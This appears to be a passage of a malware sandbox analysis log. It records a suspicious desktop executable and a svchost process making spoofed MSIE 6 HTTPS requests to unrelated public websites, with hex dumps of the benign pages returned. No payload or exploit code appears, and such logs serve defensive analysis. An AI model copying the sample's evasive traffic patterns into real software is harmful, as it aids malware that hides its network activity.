2023-03-10 06:56:15 UTC	429	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:15 UTC	432	IN	Data Raw: 7d 72 65 74 75 72 6e 21 31 7d 28 6f 5b 72 5d 29 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 2c 22 66 6c 61 67 22 21 3d 3d 6f 5b 72 5d 26 26 28 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 29 3b 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e Data Ascii: }return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.
2023-03-10 06:56:15 UTC	473	IN	Data Raw: 34 20 30 2e 38 3b 30 2e 32 20 30 2e 36 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 38 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 Data Ascii: 4 0.8;0.2 0.6 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(8)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur
2023-03-10 06:56:15 UTC	481	IN	Data Raw: 68 22 3a 22 54 79 70 65 20 74 6f 20 73 65 61 72 63 68 22 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6b 62 2d 73 75 70 70 6f 72 74 2f 61 73 73 65 74 73 2f 6a 73 2f 6b 62 73 2d 61 6a 61 78 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 35 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 Data Ascii: h":"Type to search"};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/kb-support/assets/js/kbs-ajax.min.js?ver=1.5.4'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/revs
2023-03-10 06:56:15 UTC	489	IN	Data Raw: 72 65 6d 6f 76 65 4c 6f 61 64 69 6e 67 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 6f 61 64 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 6c 6f 61 64 65 72 2d 72 65 6d 6f 76 65 64 22 3b 7d 2c 35 30 30 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 20 74 79 70 65 3d 22 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f Data Ascii: removeLoading=setTimeout(function(){load.className+=" loader-removed";},500);});</script><link rel="icon" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg" type="" sizes="16x16"/><link rel="icon" href="https://dataform.co.uk/wp-co
2023-03-10 06:56:15 UTC	497	IN	Data Raw: 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 48 6f 6d 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 32 35 32 35 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 64 61 74 61 66 6f 72 6d 2d 6f 76 65 72 76 69 65 77 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c Data Ascii: ass="menu-item-text"><span class="menu-text">Home</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-52525"><a href='https://dataform.co.uk/dataform-overview/' data-level='1'><span class="menu-item-text"><
2023-03-10 06:56:15 UTC	507	IN	Data Raw: 61 63 65 28 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6e 6f 2d 6a 73 2f 2c 27 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 27 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4e 61 6d 65 3d 63 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 64 74 2d 74 68 65 37 2f 6a 73 2f 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 30 2e 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 70 63 66 37 3d Data Ascii: ace(/woocommerce-no-js/,'woocommerce-js');document.body.className=c;</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/themes/dt-the7/js/main.min.js?ver=6.6.0.1'></script><script type='text/javascript'>//<![CDATA[var wpcf7=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	57383	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1373	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:20 UTC	1393	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:20 UTC	1393	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:20 UTC	1442	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:20 UTC	1458	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:20 UTC	1474	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	57393	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1374	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:20 UTC	1377	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:20 UTC	1377	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:20 UTC	1409	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:20 UTC	1425	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:20 UTC	1441	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	57451	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1374	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:20 UTC	1374	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:20 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:20 UTC	1375	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	57443	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1374	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:20 UTC	1375	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:20 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:20 UTC	1376	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	57786	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1474	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:21 UTC	1474	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:21 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:20 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WW10siKKNSfeez2sZOWup1EZgiawhKWIOI02mw%2FEP%2B4H5WnS%2Fr9Nzt7rybeCWfR4qHqkjMLCGL2Iyc6YLBT2P%2Bro5Vc%2Fz4sX0wRPONZNtgxILrkX48cxSrf5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a842ce498fee-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
